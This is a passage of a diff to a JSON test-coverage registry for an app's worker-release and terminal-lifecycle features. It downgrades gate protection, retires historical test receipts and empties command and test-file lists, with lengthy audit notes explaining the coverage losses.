self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous oracle (preserved verbatim): Retained assertion references and unchanged receipts keep their original scopes; retired callbacks and archived receipts provide no current coverage.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 30, - "scope": "Historical measurement only for changed selectors; no new reduced-source runtime budget is measured." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical measurement only for changed selectors; no new reduced-source runtime budget is measured." }, "flakeHistory": { - "status": "unknown", - "evidence": "NEXT136 retired affected callbacks or receipts. No fresh soak result validates reduced sources; retained receipts apply only to their unchanged commands." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: NEXT136 retired affected callbacks or receipts. No fresh soak result validates reduced sources; retained receipts apply only to their unchanged commands." }, "redGreenEvidence": { "status": "missing", - "evidence": "NEXT136 retired affected callback/receipt scope. No fresh red/green validation of the reduced selectors is claimed." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: NEXT136 retired affected callback/receipt scope. No fresh red/green validation of the reduced selectors is claimed." }, "performanceBudget": { "required": true, - "evidence": "No fresh changed-source performance measurement is claimed. Unchanged retained receipts keep only their original scope." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. No fresh changed-source performance measurement is claimed. Unchanged retained receipts keep only their original scope." }, "promotionCriteria": [ "Collect 100 consecutive focused CI passes or 14 days of soak history on macOS, Linux, and Windows.", @@ -10239,7 +9034,12 @@ "The local journey covers a folder-backed seeded repository through the app fixture but not a git-independent folder workspace.", "Audit1948 (Audit1946 sources 31): The complete 2026-08-09 combined unit receipt is archived after the worker-dispatch DB suite changes. Removed composed-start/create/mutation-acceptance and residual-receipt examples lose their separate alarms. Retained current-terminal/superseded/stop-fence/recovery transitions remain authored, while this gate’s independent manual-release/CLI/Electron aliases and two unchanged dated Electron receipts keep their original scopes. No historical passed receipt is narrowed or transferred to changed source bytes. Unchanged dated receipts and retained assertions keep only their original independently mapped scopes. No fresh execution, equivalent replacement, physical PTY/provider, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata review.", "Audit1948 historical original evidenceRuns object, preserved verbatim; retired objects are not active execution evidence or replacement coverage:\n{\n \"date\": \"2026-08-09\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/manual-dispatch-release.test.ts src/main/runtime/orchestration/orchestration-worker-dispatch-db.test.ts src/main/runtime/rpc/methods/orchestration/worker/workers-recovery.test.ts src/main/runtime/rpc/methods/orchestration/worker/worker-release.test.ts src/cli/handlers/orchestration-worker-cli.test.ts --reporter=dot\",\n \"result\": \"passed\",\n \"durationSeconds\": 3.38,\n \"summary\": \"Five focused files passed 60 tests, including both context-only release verbs, stale/current ownership, question closure, repeat and cross-verb idempotency, supervised controls, terminal-close negative assertions, and text-mode retained-process guidance.\",\n \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/manual-dispatch-release.test.ts src/main/runtime/orchestration/db/worker-dispatch/orchestration-worker-dispatch-db.test.ts src/main/runtime/rpc/methods/orchestration/worker/workers-recovery.test.ts src/main/runtime/rpc/methods/orchestration/worker/worker-release.test.ts src/cli/handlers/orchestration-worker-cli.test.ts --reporter=dot\"\n }", - "NEXT136: affected complete receipts are archived locally; reduced selectors and retained callbacks require fresh execution before broader coverage claims." + "NEXT136: affected complete receipts are archived locally; reduced selectors and retained callbacks require fresh execution before broader coverage claims.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-09\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-low-level-dispatch-release.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"failed\",\n \"durationSeconds\": 4.3,\n \"summary\": \"Current main 2dc172f666 reproduced issue #13005: dispatch-show returned the live id, then worker-abandon failed with dispatch_not_found before any release or pane reuse could occur.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-09\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-low-level-dispatch-release.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 4.1,\n \"summary\": \"The isolated Electron journey passed both release verbs, preserved the exact pane PTY/incarnation, and dispatched a third Task to the same terminal.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts src/main/runtime/orchestration/db/worker-dispatch/orchestration-worker-dispatch-db.test.ts src/main/runtime/rpc/methods/orchestration/worker/observation/worker-lifecycle-recovery.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts --reporter=dot\",\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/orchestration-low-level-dispatch-release.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-low-level-dispatch-release.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts\",\n \"src/main/runtime/orchestration/db/worker-dispatch/orchestration-worker-dispatch-db.test.ts\",\n \"src/main/runtime/rpc/methods/orchestration/worker/observation/worker-lifecycle-recovery.test.ts\",\n \"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts\",\n \"tests/e2e/orchestration-low-level-dispatch-release.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts\",\n \"assertions\": [\n \"worker-abandon and worker-stop durably release context-only Dispatches without closing terminals\",\n \"repeat and cross-verb calls preserve the first stored outcome\",\n \"superseded release frees only the old identity and leaves the current Task Dispatch active\",\n \"unrelated and supervised workers remain unchanged\"\n ]\n },\n {\n \"file\": \"tests/e2e/orchestration-low-level-dispatch-release.spec.ts\",\n \"assertions\": [\n \"dispatch-show returns the live manual Dispatch before release\",\n \"abandon and stop record distinct durable outcomes\",\n \"the exact PTY and incarnation survive worker-stop\",\n \"the same pane accepts a third Dispatch after both releases\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts src/main/runtime/orchestration/db/worker-dispatch/orchestration-worker-dispatch-db.test.ts src/main/runtime/rpc/methods/orchestration/worker/observation/worker-lifecycle-recovery.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts --reporter=dot\"],\"testFiles\":[\"src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts\",\"src/main/runtime/orchestration/db/worker-dispatch/orchestration-worker-dispatch-db.test.ts\",\"src/main/runtime/rpc/methods/orchestration/worker/observation/worker-lifecycle-recovery.test.ts\",\"src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts\",\"assertions\":[\"worker-abandon and worker-stop durably release context-only Dispatches without closing terminals\",\"repeat and cross-verb calls preserve the first stored outcome\",\"superseded release frees only the old identity and leaves the current Task Dispatch active\",\"unrelated and supervised workers remain unchanged\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"NEXT136 retired affected callback/receipt scope. No fresh red/green validation of the reduced selectors is claimed.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"NEXT136 retired affected callbacks or receipts. No fresh soak result validates reduced sources; retained receipts apply only to their unchanged commands.\"},\"runtimeBudget\":{\"p95Seconds\":30,\"scope\":\"Historical measurement only for changed selectors; no new reduced-source runtime budget is measured.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"No fresh changed-source performance measurement is claimed. Unchanged retained receipts keep only their original scope.\"}}" ], "demotionRule": "Keep experimental or demote if release closes an unsupervised terminal, rewrites a durable outcome, blocks a newer Task Dispatch, leaves an assignee identity occupied, or the focused oracle flakes without a product or harness defect." }, @@ -10247,7 +9047,7 @@ "id": "orchestration.settled-worker-terminal-release", "title": "Settled worker cleanup preserves one exact terminal lease and immutable output", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "orchestration", "layer": "runtime-sqlite-terminal-lifecycle", "surfaces": [ @@ -10260,9 +9060,9 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"], - "coveredPlatforms": ["macos"], + "coveredPlatforms": [], "coveredProviders": [], - "coverageNotes": "Audit5912 deletes the entire worker-release-mobile-report suite. Fake worker Keep open/report/release alarms are intentionally lost; its compound command is narrowed to the surviving incarnation suite and its testFiles entry removed. The unchanged compiled-CLI receipt retains only its original scope; no equivalent replacement or fresh whole-gate pass is claimed. Complete prior account retained verbatim: Audit3899 intentionally removes the seeded accepted-worker-start receipt callback from the retained orchestration mutation-ledger test suite, without equivalent replacement. It used an in-memory database and no restart or actual worker launch. The lost alarm is operation_unknown with accepted Dispatch recovery guidance and no second handler invocation. The separate independent-database pending-ask recovery callback remains byte-identical. Existing selectors remain executable but reduced source bytes have no fresh execution in this static audit; the complete dated worker-release CLI receipt retains its original unchanged scope and does not validate these reduced ledger bytes. Historical prior account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove unsupported user-taken-over, transferred-owner, exact-reuse, host-scope, immutable-transcript, legacy-ambiguity, reset and50-worker aliases from their claimed sources. Remove the deleted pending-release ledger replay alias. Narrow surviving external-retention and recovery aliases to actual retained callbacks; no transfer to another file or process-restart proof. Preserve the independent receipt. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1955:34): Pruning removes unsupported-provider/out-of-range scalar refusals and the single Grok happy decoder fixture. Retain actual file cursor append/paging, same-inode checkpoint invalidation, opaque IDs and oversized-line progress. Retire the complete dated 3.48s combined receipt through its effective currentCommand, without changing its original command or transferring its 56-test result. Unchanged CLI/Electron receipt retains its independent scope. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Audit1379 changes src/main/runtime/orca-runtime-process-incarnation-liveness.test.ts (7 authored registrations removed; 0 retained). Intentional losses: Loses supplied host lists and record states mapped to liveness enums and routing counts; no live/dead process evidence. No equivalent replacement coverage is claimed. Remaining exact receipts validate only their unchanged selectors. Historical coverage account: Only Keep open keeps a worker; a phone or desktop names it by handle, pane or session, and older clients' typing reports record nothing. Host byte lanes perform zero orchestration SQL work; local and injected SSH Keep open tests fence release. Deterministic service tests cover release-versus-reuse ordering, transactional retain and takeover cancellation, exact host/pane/process identity, dead external/user-owned/transferred/stopped/abandoned reconciliation, host-partition persistence and legacy retirement replay with an absent web-terminal layout map, conservative unknown provider and legacy metadata handling, immutable transcript and bounded terminal archives, mutation restart, reset cleanup, replay idempotency, and 50-resource accounting. A macOS Electron journey invokes the freshly compiled worker-release CLI after the worker process disappears, then independently checks released SQLite state and coordinator liveness. Injected inventories cover local and SSH provider routing; live SSH, WSL, Windows, paired-runtime, and provider-close lost-ack journeys remain explicit gaps. Audit1396: src/main/runtime/rpc/methods/orchestration/worker/worker-release-mobile-report.test.ts reduced. Retires unary/stream no-database-work call counts and three mobile RPC allowlist membership checks. Ancillary input delivery assertions in the budget registration intentionally lost without equivalence claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5912 deletes the entire worker-release-mobile-report suite. Fake worker Keep open/report/release alarms are intentionally lost; its compound command is narrowed to the surviving incarnation suite and its testFiles entry removed. The unchanged compiled-CLI receipt retains only its original scope; no equivalent replacement or fresh whole-gate pass is claimed. Complete prior account retained verbatim: Audit3899 intentionally removes the seeded accepted-worker-start receipt callback from the retained orchestration mutation-ledger test suite, without equivalent replacement. It used an in-memory database and no restart or actual worker launch. The lost alarm is operation_unknown with accepted Dispatch recovery guidance and no second handler invocation. The separate independent-database pending-ask recovery callback remains byte-identical. Existing selectors remain executable but reduced source bytes have no fresh execution in this static audit; the complete dated worker-release CLI receipt retains its original unchanged scope and does not validate these reduced ledger bytes. Historical prior account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove unsupported user-taken-over, transferred-owner, exact-reuse, host-scope, immutable-transcript, legacy-ambiguity, reset and50-worker aliases from their claimed sources. Remove the deleted pending-release ledger replay alias. Narrow surviving external-retention and recovery aliases to actual retained callbacks; no transfer to another file or process-restart proof. Preserve the independent receipt. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1955:34): Pruning removes unsupported-provider/out-of-range scalar refusals and the single Grok happy decoder fixture. Retain actual file cursor append/paging, same-inode checkpoint invalidation, opaque IDs and oversized-line progress. Retire the complete dated 3.48s combined receipt through its effective currentCommand, without changing its original command or transferring its 56-test result. Unchanged CLI/Electron receipt retains its independent scope. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Audit1379 changes src/main/runtime/orca-runtime-process-incarnation-liveness.test.ts (7 authored registrations removed; 0 retained). Intentional losses: Loses supplied host lists and record states mapped to liveness enums and routing counts; no live/dead process evidence. No equivalent replacement coverage is claimed. Remaining exact receipts validate only their unchanged selectors. Historical coverage account: Only Keep open keeps a worker; a phone or desktop names it by handle, pane or session, and older clients' typing reports record nothing. Host byte lanes perform zero orchestration SQL work; local and injected SSH Keep open tests fence release. Deterministic service tests cover release-versus-reuse ordering, transactional retain and takeover cancellation, exact host/pane/process identity, dead external/user-owned/transferred/stopped/abandoned reconciliation, host-partition persistence and legacy retirement replay with an absent web-terminal layout map, conservative unknown provider and legacy metadata handling, immutable transcript and bounded terminal archives, mutation restart, reset cleanup, replay idempotency, and 50-resource accounting. A macOS Electron journey invokes the freshly compiled worker-release CLI after the worker process disappears, then independently checks released SQLite state and coordinator liveness. Injected inventories cover local and SSH provider routing; live SSH, WSL, Windows, paired-runtime, and provider-close lost-ack journeys remain explicit gaps. Audit1396: src/main/runtime/rpc/methods/orchestration/worker/worker-release-mobile-report.test.ts reduced. Retires unary/stream no-database-work call counts and three mobile RPC allowlist membership checks. Ancillary input delivery assertions in the budget registration intentionally lost without equivalence claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/12355", "https://github.com/stablyai/orca/issues/13860", @@ -10271,79 +9071,26 @@ "STA-5122" ], "invariant": "A settled Dispatch may close only its one coordinator-created terminal lease. Explicit reuse, Keep open, retain, identity or host change, ambiguity, and another resource for the same exact host/pane/process must fence closure. Once the authoritative owning provider positively excludes the resource's exact immutable process incarnation, even an external, user-owned, or transferred dead resource must converge to released without any process close. Unknown host scope, missing incarnation metadata, or unavailable inventory must remain retained. Exact terminal-close persistence must settle when a host partition omits renderer-owned layout state. Output preservation and the requested-to-releasing transition are atomic, archives remain readable without the provider file, retries resume idempotently, and orchestration reset removes archive and authority state.", - "oracle": "Audit5912 deletes the entire worker-release-mobile-report suite. Fake worker Keep open/report/release alarms are intentionally lost; its compound command is narrowed to the surviving incarnation suite and its testFiles entry removed. The unchanged compiled-CLI receipt retains only its original scope; no equivalent replacement or fresh whole-gate pass is claimed. Complete prior oracle retained verbatim: Audit3899 intentionally removes the seeded accepted-worker-start receipt callback from the retained orchestration mutation-ledger test suite, without equivalent replacement. It used an in-memory database and no restart or actual worker launch. The lost alarm is operation_unknown with accepted Dispatch recovery guidance and no second handler invocation. The separate independent-database pending-ask recovery callback remains byte-identical. Existing selectors remain executable but reduced source bytes have no fresh execution in this static audit; the complete dated worker-release CLI receipt retains its original unchanged scope and does not validate these reduced ledger bytes. Historical prior account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous oracle (preserved verbatim): Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit2003: Remove3 preexisting unsupported320-live-PTY,400-retirement/256-history and replacement-lifecycle aliases from the inventory driver: neither its frozen original imported registrars nor proposed candidate owns those callbacks. This metadata correction adds no test-removal credit. The driver loses the empty-worktree-publication suite and3 folder-host/unverifiable scalar examples while retaining concurrent inventory freshness and provider-failure verdict fences. The retained inventory callbacks are not terminal-release, historical-cache capacity or performance-budget replacement coverage. Preserve the independent compiled-CLI Electron receipt exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove unsupported user-taken-over, transferred-owner, exact-reuse, host-scope, immutable-transcript, legacy-ambiguity, reset and50-worker aliases from their claimed sources. Remove the deleted pending-release ledger replay alias. Narrow surviving external-retention and recovery aliases to actual retained callbacks; no transfer to another file or process-restart proof. Preserve the independent receipt. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1955:34): Pruning removes unsupported-provider/out-of-range scalar refusals and the single Grok happy decoder fixture. Retain actual file cursor append/paging, same-inode checkpoint invalidation, opaque IDs and oversized-line progress. Retire the complete dated 3.48s combined receipt through its effective currentCommand, without changing its original command or transferring its 56-test result. Unchanged CLI/Electron receipt retains its independent scope. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Surviving unchanged-source receipts are the current oracle; changed-source assertions await validation. Historical oracle account: Record release intent for a settled owner, attempt exact reuse before close, and require worker-start to fail with terminal_release_in_progress while the terminal stays open; then release the original owner exactly once. Race retain against a controlled archive promise and require no committed archive or close. Rebase a closed web-terminal host partition without terminalLayoutsByTabId and require the persistence write to complete while preserving host-authoritative membership; replay a valid legacy retirement under the same omission and require exact membership removal plus revision advancement. For retained external, user-owned, transferred, stopped, and abandoned resources, run one fresh inventory against the exact local/WSL or SSH provider: an exact live incarnation and every unknown inventory shape stay retained, while positive absence atomically sets ownership_state and release_state to released with processAction none and zero closeTerminal calls. Change host or process identity and inject duplicate resource evidence to require retention. Freeze a structured transcript, delete its source file, and require archived worker-read to return the same bounded redacted messages. Restart a pending mutation, reset orchestration state, and create 50 resources while asserting replay convergence, zero orphan rows, two-query worker listing, and no unrelated close.", - "commands": [ - "ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/identity/orca-runtime-terminal-handle-incarnation.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts --reporter=dot", - "pnpm run build:cli && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-worker-settlement-release-cli.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts", - "src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts", - "src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts", - "src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts", - "src/main/runtime/rpc/orchestration/mutations/orchestration-mutation-ledger.test.ts", - "src/main/runtime/orchestration/workers/transcripts/worker-transcript-read.test.ts", - "tests/e2e/orchestration-worker-settlement-release-cli.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts", - "assertions": [ - "rebases a host partition that no longer carries the closed web-terminal layout", - "replays a legacy retirement when its host partition omits terminal layouts" - ] - }, - { - "file": "src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts", - "assertions": ["does not claim retention succeeded after terminal close was committed"] - }, - { - "file": "src/main/runtime/rpc/methods/orchestration/worker/release/worker-release-recovery.test.ts", - "assertions": [ - "settles a closed terminal after restart when exact process liveness is exited", - "coalesces reconciliation joining an interactive release into one recorded recovery attempt and one terminal close" - ] - }, - { - "file": "tests/e2e/orchestration-worker-settlement-release-cli.spec.ts", - "assertions": [ - "compiled worker-release reconciles a dead external retained resource to released", - "the CLI reports processAction none instead of closing a process", - "SQLite independently records released ownership and release state", - "the unrelated coordinator terminal remains live" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "pnpm run build:cli && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-worker-settlement-release-cli.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 20, - "summary": "The combined candidate's compiled worker-release returned released with processAction none after positive process absence; an independent SQLite read showed both states released and the coordinator terminal remained live." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5912 deletes the entire worker-release-mobile-report suite. Fake worker Keep open/report/release alarms are intentionally lost; its compound command is narrowed to the surviving incarnation suite and its testFiles entry removed. The unchanged compiled-CLI receipt retains only its original scope; no equivalent replacement or fresh whole-gate pass is claimed. Complete prior oracle retained verbatim: Audit3899 intentionally removes the seeded accepted-worker-start receipt callback from the retained orchestration mutation-ledger test suite, without equivalent replacement. It used an in-memory database and no restart or actual worker launch. The lost alarm is operation_unknown with accepted Dispatch recovery guidance and no second handler invocation. The separate independent-database 